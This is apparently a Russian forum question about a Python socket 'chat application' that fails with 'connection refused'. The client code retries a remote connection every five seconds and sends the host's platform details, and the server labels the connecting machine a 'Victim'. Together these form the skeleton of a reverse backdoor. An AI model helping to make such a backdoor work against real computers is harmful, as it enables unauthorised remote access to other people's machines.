Когда я пытаюсь установить внешнее соединение через сокет (LIKE CHAT APPLICATION) python, я получаю
[Errno 111] Соединение отказано
Изображение:
Код клиента:
while True:
try:
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))
break
except socket.error as e:
print(str(e))
time.sleep(5)
continue
self.reliable_send(platform.platform())
Изображение сервера:
Код сервера:
def __init__(self, ip="0.0.0.0", port=55000):
self.listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.listener.bind((ip, port))
self.listener.listen(1)
print("[+] Waiting for incoming connections")
(self.connection, address) = self.listener.accept()
print("[+] Got a connection from :" + address[0])
print("[+] Victim operating system :" + self.reliable_receive())
В чем ошибка?
Я уже открываю этот порт на моем сервере и на нем запущено приложение, но оно не подключается к нему!
Спасибо